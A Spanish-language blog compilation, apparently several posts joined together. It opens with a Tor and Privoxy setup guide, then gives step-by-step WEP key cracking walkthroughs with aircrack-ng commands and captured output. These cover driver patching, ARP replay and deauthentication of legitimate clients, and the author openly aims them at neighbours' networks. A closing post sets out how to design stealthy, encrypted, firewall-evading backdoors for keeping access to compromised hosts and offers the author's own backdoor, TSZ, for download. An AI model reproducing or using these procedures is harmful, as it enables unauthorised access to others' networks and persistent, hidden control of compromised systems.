A pesar de lo que podamos pensar y de lo seguro que nos sintamos tras la pantalla de nuestro ordenador, lo cierto es que navegar en la red de redes es una actividad que puede ser muchas cosas, excepto privada. Es fácil para cualquier sitio web tracearnos, recopilar datos sobre nosotros e incluso recurrir a la vía judicial si hemos hecho alguna acción especialmente ofensiva… no es raro leer alguna noticia sobre cómo ha acabado en juicio una amenaza vertida en forma de comentario en algún blog.

Dejando aparte los casos extremos, lo cierto es que estamos en nuestro derecho de querer navegar anónimamete. A veces más que un derecho es una necesidad… y cómo suele ocurrir en estos casos, siempre hay alguna empresa dispuesta a ayudarnos a cambio de un módico precio, aunque por supuesto, también podemos encontrar alternativas gratuitas que ofrecen un servicio similar. Alguna de las páginas dedicadas a navegación anónima son http://anonymouse.org/, http://ibypass.net/ y http://www.anonymizer.com/ por citar algunas.

El problema con este tipo de páginas es que son exclusivamente para eso, para navegación anónima, pero que pasa si queremos mantener nuestra IP oculta mientras mandamos un correo con nuestro cliente POP, jugamos al Quake, usamos nuestro cliente SSH, chateamos en el IRC o usamos nuestro programa de mensajería instantánea… en definitiva, que pasa cuando queremos usar cualquier cliente TCP. En ese caso tenemos que recurrir a otro tipo de soluciones como es el caso de la que nos ocupa: TOR

Tor es una red anónima diseña para proteger la privacidad de sus usuarios. El funcionamiento es como sigue, cuando un cliente se quiere conectar a la red TOR solicita a un servidor de directorio los nodos TOR disponibles, luego establece un circuito virtual aleatorio e inicia la conexión con el nodo final. La conexión entre los nodos TOR va cifrada y sólo va en plano desde el último nodo hasta el destino final.

En la página oficial podéis encontrar una explicación mucho más detallada de funcionamiento. A mi lo que me interesa es enseñaros un modo muy rápido de instalar TOR y que desde  hoy mismo empecéis a ser seres anónimos, o por lo menos, que tengáis las herramientas para serlo.

Manos a la obra:

1. Instalamos TOR y Privoxy

Privoxy es un proxy privado que será nuestro punto de entrada a la red TOR. Una vez que tengamos todo instalado y configurado, haremos que nuestras aplicaciones usen privoxy y éste se encargará de pasar el tráfico a la red TOR.

# apt-get install tor privoxy

Pudiera ser que estos paquetes no se encuentren en nuestra distribución (esto es especialmente cierto si usamos Debian Etch). En ese caso habría que bajarse los fuentes y compilarlos, como muy bien explican en la web oficial.

2. Configuramos Privoxy

Editamos el fichero de configuración /etc/privoxy/config, borramos todo su contenido y en su lugar escribimos lo siguiente:

#———– BEGIN ———–

user-manual /usr/share/doc/privoxy/user-manual
confdir /etc/privoxy
logdir /var/log/privoxy
actionsfile standard.action # Internal purpose, recommended
actionsfile global.action # Global default setting for all sites
actionsfile default.action # Main actions file
actionsfile user.action # User customizations
filterfile default.filter
listen-address 127.0.0.1:8118
toggle 1
enforce-blocks 0
buffer-limit 4096
forward-socks4a / 127.0.0.1:9050 .
forwarded-connect-retries 0
accept-intercepted-requests 0
allow-cgi-request-crunching 0
split-large-forms 0
#———— END ————

Reiniciamos privoxy de la manera usual, normalmente:

$ /etc/init.d/privoxy restart

3. Configuramos las aplicaciones para que usen TOR

Bien, esta es la parte complicada, ya tenemos instalado TOR en nuestro ordenador y Privoxy configurado para que se conecte a él. Ahora bien, tenemos que configurar todas y cada una de nuestras aplicaciones para que se conecten con nuestro proxy local. Para los que tengan las cosas claras sólo mencionar que Privproxy escucha en: 127.0.0.1:8118

Para los que no, aquí tenéis como configurar el navegador para que use un proxy. Otras aplicaciones, como los clientes de mensajería instantánea, tienen en sus opciones de configuración la posibilidad de definir un proxy, en este caso la configuración variará de un cliente a otro y lo mejor es buscar algún tutorial sobre cómo configurar ese cliente. Hay un tercer grupo de aplicaciones que no tienen posibilidad de especificar proxy pero aún así nos interesa que vayan a través de TOR (un ejemplo de éstas podría ser el cliente de SSH estándar). En este caso es necesario el uso de aplicaciones puentes como proxychains, capaces de ‘proxyficar’ cualquier aplicación.

Una advertencia

TOR ofrece anonimato, es decir, oculta nuestra IP al destino final, pero no ofrece seguridad frente a escuchas por parte del repetidor final. Es decir, en el nodo final de la red TOR, justo antes de comunicarnos con el destino, los datos son descifrados y por lo tantos susceptibles a escuchas malintencionadas. Si tenemos datos confidenciales no podemos dejar la responsabilidad de que esos datos no sean capturados en manos de TOR, sino en manos del destino final que deberá usar algún protocolo seguro como HTTPS. Hace unos meses un hacker sueco se hizo con una buena cantidad de datos confidenciales precisamente por esta falsa creencia. Lo vuelvo a repetir y lo pongo en negrita para los que lean en diagonal: TOR ofrece anonimato, no protección total fretne a escuchas. Sí que ofrece protección parcial hasta el punto de que nuestros datos no serán visibles para los sniffers que haya en nuestra propia red local, lo cual viene muy bien a todos esos pobres empleados que se encuentran intesamente monitorizados y no pueden ver porno en las horas de trabajo.

Y ya que estamos, también podemos usar TOR para evitar las restricciones de acceso si estamos detrás de un firewall (o de un proxy con filtros restrictivos, sí, sí, cómo ese que os enseñé a montar en el artículo anterior). En fin, que hay muchas posibilidades y no os las he contado todas, echad un vistazo a la web oficial porque vale la pena.

Sí, tengo un poco abandonado el blog y no voy a justificarme… la vida es así. Pero bueno, por fin he encontrado un rato para escribir la guía que tantos me habéis pedido, una guía paso a paso sobre como romper claves WEP. He decidido dividir la guía en dos partes diferenciadas por su contenido. En ésta exploraremos como hacernos con las contraseñas de esas redes que tienen clientes wifi conectados y ya en la segunda, atacaremos las redes que aunque ofrecen cobertura wifi nadie se conecta (legítimamente) a ellas. Bien, comencemos sin más preámbulos:

Réquisitos Previos

* Tener Linux (por supuesto), o al menos cualquier distribución Live como por ejemplo Knoppix-STD.

* Descargar la última versión del aircrack-ng (es importante que descarges una versión superior a la 0.94).

Instalar el aircrack-ng

Si como te dije en requisitos previos has descargado el aircrack-ng desde la web, ahora toca instalarlo:

$ tar xzf aircrack-ng-1.0-beta2.tar.gz

$ cd aircrack-ng-1.0-beta2/

$ make

$ sudo make install

Si no me has hecho caso e instalaste el aircrack-ng desde tu gestor de paquetes (apt-get, yum, o el que sea) comprueba que la versión sea superior a la 0.94 y si no es así, bájalo desde la web e instálalo.

Parchear los drivers de la tarjeta de red

Los drivers originales de la tarjeta de red normalmente no permiten inyectar tráfico en una wifi, es decir, generar paquetes a medida e inyectarlos en la red para lograr nuestros objetivos. Por lo tanto, se hace necesario parchear los drivers de nuestra tarjeta de red. Para saber que tarjeta de red estás usando prueba con:

$ lspci | grep Network
0c:00.0 Network controller: Intel Corporation PRO/Wireless 3945ABG Network Connection (rev 02)

En la págian oficial del aircrack-ng encontrarás un montón de parches para diferentes drivers. Elige el que corresponda a tu tarjeta y luego parchea tu kernel. No te asustes, no es complicado (si tu driver es exactamente el que aparece arriba, sáltate los siguientes pasos):

1. Busca las fuentes de tu kernel, normalmente deberían estar en /usr/src/linux (si no las tienes, descárgalas desde www.kernel.org).

2. Baja el parche a /usr/src

3. Aplica el parche con el comando patch:

# cd /usr/src/linux

# patch -p1 < /usr/src/nombre.parche

4. Compila e instala el nuevo kernel (déjame un comentario si tienes problemas para hacer esto).

PERO si tu tarjeta de red es igual que la mía Intel Corporation PRO/Wireless 3945ABG estás de suerte, porque te voy a explicar el procedimiento paso a paso

Este driver no está entre los que podemos encontrar en la web del aircrack-ng, sin embargo existe una página alternativa en donde podemos descargárnoslo: http://homepages.tu-darmstadt.de/~p_larbig/wlan/

1. Nos descargamos la última versión

$ wget http://homepages.tu-darmstadt.de/~p_larbig/wlan/ipwraw-ng-2.3.4-04022008.tar.bz2

2. Ahora necesitamos los fuentes del núcleo. Si hemos compilado nuestro propio kernel, ya tendremos los fuentes. Si estamos usando una versión precompilada del kernel, necesitamos las cabeceras. Si usas Debian o Ubuntu bájate las cabeceras de una forma similar a la siguiente:

# uname -a

Linux Darky 2.6.18-5-686 #1 SMP Tue Nov 20 13:39:58 WET 2007 i686 GNU/Linux

# apt-get install linux-headers-2.6.18-5-686

Si las cabeceras que estás intentando instalar ya no se encuentran en el repositorio de tu distribución, tendrás que actualizar tu kernel a una versión más reciente vía apt-get y luego instalar las cabeceras.

3. Instalamos el driver

# tar xjf ipwraw-ng-2.3.4-04022008.tar.bz2

# cd ipwraw-ng

# make

# make install

# make install_ucode

4. Descargamos el driver original y usamos el parcheado (ATENCIÓN: el nuevo driver no sirve para navegar normalmente, así que sólo lo cargaremos cuando vayamos a monitorizar/inyectar paquetes).

# rmmod ipw3945

# modprobe ipwraw

Fijar un objetivo

Supongo que si estás leyendo este tutorial es porque ya le has echado el ojo a alguna red, pero si no es así lo primero que tenemos que tener claro es que red vamos a atacar y obtener unos cuantos datos sobre ella. Hay muchas formas de hacer esto, pero ya que estamos usando aircrack-ng emplearemos la utilidad de monitoreo que trae este kit. Así pues, primero echamos un vistazo a las redes disponibles:

# airodump-ng eth2

—-

CH 10 ][ Elapsed: 12 s ][ 2008-04-08 11:23

BSSID PWR Beacons #D, #/s CH MB ENC CIPHER AUTH ESSID

00:14:51:74:5E:FF 0 20 69 0 6 54 WEP WEP air_wifi

BSSID STATION PWR Rate Lost Packets Probes

00:14:51:74:5E:FF 00:18:DE:10:99:3B 0 0- 0 0 5
00:14:51:74:5E:FF 00:12:F0:06:62:5A 0 0- 0 209 70

—-

Hemos detectado una red con dos clientes conectados. Ahora necesitamos obtener la máxima información de esa red (capturar todos los paquetes de datos entres los clientes y el punto de acceso), así que volvemos a relanzar el airodump-ng pero incluyendo opciones para que sólo capture paquetes de esa red. Además, debemos guardar todo lo capturado en un fichero, que nos será de gran utilidad más tarde.

# airodump-ng –bssid 00:14:51:74:5E:FF –channel 6 –write captura eth2

El BSSID y el CHANNEL lo obtenemos de la anterior ejecución del airodump.

Acelerar el proceso

Para poder romper una clave WEP necesitamos capturar un elevado número de paquetes útiles, para acelerar el proceso de captura de datos usaremos la combinaicón de dos técnicas: ARP Replay y DeAuth.

Con la primera técnica pondremos a nuestro equipo a escuchar y cada vez que capture un paquete ARP lo reenviará hasta la saciedad, con la segunda forzaremos a los clientes legítimos a desconectarse, lo que implica que tendrán que iniciar el proceso de conexión nuevamente y por lo tanto generarán una oleada de paquetes ARP que nuestro anterior ataque se encargará de utilizar provechosamente.

Ataque ARP Replay

Para llevar a cabo este ataque, lo primero es registrar nuestro equipo en la wifi (requiere que hayamos parcheado los drivers de nuestra tarjeta de red).

Así pues, necesitamos la MAC de nuestra tarjeta wifi:

# ifconfig eth2
eth2 Link encap:UNSPEC HWaddr 00-19-D2-6D-1E-01-F4-FF-00-00-00-00-00-00-00-00
UP BROADCAST NOTRAILERS RUNNING PROMISC ALLMULTI MTU:2346 Metric:1
RX packets:15373 errors:0 dropped:0 overruns:0 frame:0
TX packets:0 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:1000
RX bytes:1874966 (1.7 MiB) TX bytes:0 (0.0 b)
Interrupt:17 Base address:0xc000 Memory:efdff000-efdfffff

La MAC son los 6 primeros pares de dígitos que encontramos tras HWaddr, en mi caso sería: 00:19:D2:6D:1E:01

Con este dato y con los que tenemos del paso anterior ya podemos iniciar el ataque:

Primero, nos registramos:

# aireplay-ng -1 0 -e air_wifi -a 00:14:51:74:5E:FF -h 00:19:D2:6D:1E:01 eth2
18:18:20 Sending Authentication Request
18:18:20 Authentication successful
18:18:20 Sending Association Request
18:18:20 Association successful

Luego dejamos funcionando el ataque ARP Replay:

# aireplay-ng -3 -b 00:14:51:74:5E:FF -h 00:19:D2:6D:1E:01 eth2

Y ahora lanzamos el ataque DeAuth para desconectar a los clientes legítimos:

# aireplay-ng -0 1 -a 00:14:51:74:5E:FF eth2

Si todo va bien, veremos como la ventana donde hemos puesto a funcionar el ataque “ARP Replay” comienza a llenarse con actividad de paquetes enviados. Y también veremos como la ventana del airodump-ng comienza a registrar una cantidad notable de tráfico y lo que es más importante, muchos paquetes con vectores IV útiles.

Después de capturar suficientes paquetes sólo nos queda poner a funcionar el aircrack-ng

# aircrack-ng captura.cap

Y a esperar a que obtenga la ansiada clave. Bueno, espero vuestros comentarios, sugerencias y correcciones. Ya escribiré la segunda parte un año de estos

Todos habréis oído que las claves WEP que Teléfonica coloca a sus routers no son totalmente arbitrarias. Hace tiempo que pensaba escribir un artículo sobre el tema y cómo conseguir de forma  sencilla acceso a las redes así protegidas. Pues bien, ya no lo voy a escribir. El otro día me encontré con un blogger que se me había adelantado… quizás cuando tenga un rato libre haga una revisión de su artículo, hay cosas que creo se podrían mejorar en el método que él expone, pero sin duda lo encontraréis interesante: Romper claves wep de teléfonica

Parece que todo el mundo sabe que las claves WEP son débiles y que pueden romperse con relativa facilidad, pero lo cierto es que pocos conocen por qué esto es posible y cómo hacerlo.

En mi afán por mostrar los senderos oscuros de las redes y sobre todo porque muchos me lo han pedido, aquí está el tutorial sobre cómo romper claves WEP para uso y disfrute del personal.

Antes que nada un poco de teoría, el protocolo de seguridad WEP trata de incorporar a las redes inalámbricas una seguridad equivalente a la que podemos encontrar en las redes cableadas, de ahí su nombre, Wired Equivalent Privacy (Privacidad Equivalente al Cable). Este protocolo permite cifrar las conexiones entre los clientes y el punto de acceso (AP), protegiendo así la confidencialidad e integridad de los datos.

El protocolo WEP requiere que las estaciones y el AP compartan una clave secreta antes de comenzar la comunicación, éste es uno de sus grandes puntos flacos, hay que comunicar por otra vía la clave a los distintos clientes lo que genera una serie de problemas importantes, entre ellos cabe destacar lo costoso de cambiar la clave, hay que informar a todos los clientes de la nueva lo que, según el número de los mismos, puede que no sea una tarea trivial. Esto lleva a que las claves WEP se cambien con poca frecuencia.

Cuando una máquina quiere conectar con un punto de acceso que use WEP, ésta realiza una petición inicial de asociación al AP, el cual a su vez responde con un texto aleatorio (desafío). El cliente deberá cifrar dicho texto con su clave compartida y enviar la respuesta al AP. Éste descifrará el texto con su propia clave y la compara con la enviada, si son iguales, se le permite el acceso al cliente.

El algoritmo usado para cifrar la comunicación WEP es conocido como RC4. Ya sabemos que una parte de la clave usada en el algoritmo es la clave compartida, pero para impedir que un atacante puede recolectar datos suficientes para romper la clave, una parte de la misma es dinámica y cambia en cada trama. A esta parte se le llama IV (vector de inicialización) y según el estándar debe ser distinta para cada paquete enviado. Por lo tanto, la clave final usada para cifrar/descifrar es la concatenación del IV con la clave compartida. El IV siempre tiene un tamaño de 24bits, ese es el motivo de por qué la clave secreta deberá tener un tamaño de 40bits (en claves de 64bits) o de 104 (en claves de 128bits), aclaro esto porque más de una vez me he enfrentado a la discusión de por qué si la clave es de 128bits sólo se pueden escribir 13 caracteres (13*8=104) y no 16 (16*8=128) como sería de esperar.

El IV es sólo conocido por uno de los extremos, así que es necesario enviarlo sin cifrar al otro. Es decir, junto con los datos cifrado se envía el IV, así el otro extremo puede reconstruir la clave secreta a partir de la que iniciar el proceso de descifrado. Existen varias debilidades asociadas al IV que correctamente explotadas puedan llevar al compromiso de la clave WEP. No quiero seguirme entreteniendo en esto, pero para acabar diré que si se consiguen capturar los suficientes paquetes WEP es posible llevar a cabo un ataque que permitirá recuperar la clave compartida, para los que quieran ampliar información sobre el tema recomiendo el artículo Protocolo de seguridad Wep y si estáis interesado en el criptoanálisis del ataque, nada mejor que el documento liberado por los autores del descubrimiento: Weaknesses in the Key Scheduling Algorithm of RC4

Modo Monitor

Y ahora al tajo, vamos a reventar unas cuantas claves WEP. Para hacer esto es condición indispensable que vuestra tarjeta de red sea capaz de entrar en modo Monitor. Algunas tarjetas son incapaces de entrar en este modo y en otras es posible que no tengáis los controladores adecuados. En cualquier caso, lo primero es saber si la tarjeta puede entrar en modo monitor o no, para averiguarlo escribimos algo parecido a lo siguiente (mi tarjeta de red está en la interfaz eth2, cambiadlo según corresponda)

# iwconfig eth2 mode monitor

# iwconfig eth2

eth2 unassociated ESSID:”" Nickname:”none”
Mode:Monitor Frequency=2.437 GHz Access Point: 72:00:00:00:00:27
Bit Rate:0 kb/s Tx-Power:16 dBm
Retry limit:15 RTS thr:off Fragment thr:off
Encryption key:off
Power Management:off
Link Quality:0 Signal level:0 Noise level:0
Rx invalid nwid:0 Rx invalid crypt:0 Rx invalid frag:0
Tx excessive retries:0 Invalid misc:9273 Missed beacon:0

Si podéis leer Mode:Monitor en la respuesta al segundo comando, vuestros vecinos pueden ir empezando a temblar.

Método 1: AirSnort

A partir de este punto contamos con varias herramientas que nos permiten llevar a cabo el ataque hacia claves WEP. Si no os queréis complicar la vida, lo más fácil es usar AirSnort, una utilidad que cuenta con una bonita GUI y que nos basta con darle a comenzar para que ella solita haga todo el trabajo. Eso sí, hay que tener paciencia pues para romper una clave hacen falta capturar entre 4,000,000 y 6,000,000 paquetes de datos.

Método 2: aircrack-ng

Para los que queráis esperar un poco menos y nos os importe prescindir de las interfaces gráficas, tenéis el kit aircrack-ng. Éste añade varias mejoras al ataque clásico (FMS) y permite recuperar la clave capturando entre 500,000 y 2,000,000 paquetes de datos. Además incluye una maravillosa utilidad llamada aireplay-ng que permite inyectar tráfico en la red wifi con el objetivo de que se generan más paquetes de datos y así obtener antes la clave, esto es ideal cuando estamos ante una red con poco tráfico.

Veamos como usar el aircrack-ng:

1. Lo primero es capturar todo el tráfico de la red:

# airodump-ng -w datos eth2

airdodump-ng cuenta con muchas opciones entre las que cabe destacar –channel, que nos permite capturar sólo los datos que se emitan por un canal determinado. Recomiendo usarla siempre que podamos.

Lo siguiente es poner el aireplay-ng a funcionar para generar más tráfico de red. Esta utilidad tiene varios modos de ataque y la verdad es que necesitaría otro post para hablar de todas las posibilidades que tiene. En principio voy a comentar un ataque muy efectivo y quizás otro día hable de sus multiples capacidades. El ataque que vamos a usar se llama ARP Injection, y consiste simplemente en enviar peticiones ARP al AP con el objetivo de que responda con nuevos paquetes de datos. Para esto es necesario conocer la MAC de un cliente ya conectado, pues lo que se hace este ataque es reenviar peticiones ARP capturadas con anterioridad a dicho cliente (obviamente el ataque fallará si no hay clientes conectados, aunque aireplay-ng también presenta soluciones a este problema, pero ya hablaremos de eso en otro momento).

# aireplay-ng –arpreplay -b 00:13:F7:64:10:27 -h 00:A0:C5:53:7F:9F -r datos-01.cap eth2

–arpreplay es el ataque de inyección de arp

-b es el BSSID del AP

-h es la MAC del cliente autenticado

-r es el fichero de datos que estamos capturando con el airodump-ng

Y ya por último sólo queda poner a funcionar el aircrack-ng, que será el que trate de encontrar la clave WEP:

# aircrack-ng datos-01.cap

Método 3: aircrack-ptw

Y cómo suele pasar con estas cosas, lo más importante es tener paciencia y suerte. Pero si la paciencia no es mucha, estáis de enhorabuena porque han descubierto nuevos sistemas para atacar las claves WEP, reduciendo el número de paquetes necesarios para recuperla a menos de 80000. Os dejo la url de los autores, la utilidad se llama aircrack-pwt y funciona de forma similar al aircrack-ng, de hecho necesitareis el kit aircrack-ng para realizar el ataque completo.

Pues no os quejaréis, ya sabéis todo lo que necesitáis saber… a disfrutar!

Una vez que se compromete un sistema conectado en red, uno de los mayores retos por parte de los atacantes es mantener una vía de acceso al mismo independientemente de lo que hagan los administradores a posteriori. Se han estudiado multitud de formas de conseguir esto, algunas con mucho más éxito que otras. En este post quiero comentar una de esas vías de acceso: las puertas traseras o backdoors.

Por regla general, con este término nos referimos a un programa que se está ejecutando en la máquina víctima y que nos permite el acceso a ella de alguna manera. Las hay desde las más simples, aquellas que redireccionan los canales de entrada/salida a un socket, hasta las más complejas, aquellas que ocultan el diálogo en algún protocolo aparentemente inocuo (ver proyecto Loki). Después de pasar algún tiempo estudiando diferentes tipos de backdoors, así como los requisitos necesarios para que éstas sean difíciles de detectar, llegué a las siguientes conclusiones:

• Deben ser cómodas de usar: si va a ser la principal vía de acceso al sistema víctima, debemos poder trabajar con ellas con cierta comodidad, esto implica poseer historial de comandos, paginación, etc. Una backdoor simple está bien como primer medio de acceso al host víctima, pero no para trabajar con él de manera continuada.
• Deben cifrar la conexión: no sería bueno que después de tantas molestias un sniffer detecte que estamos ejectuando comandos en un host por una vía no habitual.
• Deben ser difíciles de detectar: esto es, el administrador no debería poder encontrarlas haciendo un ‘netstat’ o un ‘nmap’.
• Opcionalmente también sería interesante que contaran con la capacidad de evadir defensas perimetrales tales como cortafuegos. Esta medida es opcional porque una backdoor diseñada de esta manera difiere bastante de una backdoor clásica, es decir, las diseñadas para evadir cortafuegos sólo deberían usarse para esos casos concretos, ya que presentan limitaciones de uso respecto a las otras.

Con esto en mente, decidí buscar una backdoor que reuniera tantos requisitos como fuera posible, y me lleve una grata sorpresa al dar con TSH: Tiny Shell, actualmente el proyecto está alojado en http://tsh.thecostaricacondo.com/. Algunos dicen que este proyecto nunca fue desarrollado como una backdoor, sino como un clon ligero de otros programas de conexión remota, no lo sé, pero el hecho de que pueda funcionar en ‘reverse-mode’ (sin puertos a la escucha) es algo que da que pensar.

El TSH cumple todos los requisitos que estabamos buscando, es una shell cómoda de usar, con conexión cifrada y si se usa en ‘reverse-mode’ no tiene puertos a la escucha, lo que la hace indetectable a comandos como ‘netstat’ y ‘nmap’. Ahora bien, la conexión inversa implementada en el TSH no me acababa de gustar. Para que funcione es necesario configurar el servidor TSH (que va alojado en la máquina víctima) con una dirección IP prederminada. En esa dirección IP debe estar escuchando el cliente TSH. Cada cierto intervalo de tiempo se realiza una conexión del servidor al cliente, que en ese momento obtiene el control del sistema remoto. Resumiendo, debemos incluir la IP de la máquina atacante en el servidor TSH (lo que no es bueno en caso de que descubran el binario) y además sólo podemos obtener el control del sistema cada cierto tiempo.

Me gusta más el enfoque que realiza otra backdoor, ZAPPA. En este caso, en el host víctima se aloja un servidor sin puertos a la escucha que espera la llegada de un ping con un tamaño concreto. Cuando se da esa circunstancia, lanza una conexión hacia el host que ha generado el ping y le da el control del sistema.

Con estas dos backdoors en las manos decidí que lo mejor era hacer un hack sucio y rápido del TSH para incluirle las capacidades de ZAPPA, naciendo así TSZ, una puerta trasera que sin duda encontraréis interesante. Escribí un readme en el que explico como utilizarla, también es importante leer el readme.tsh en el que se detalla como configurar el tsh, que al fin y al cabo es el programa que hay detrás de todo esto.

Descargar TSZ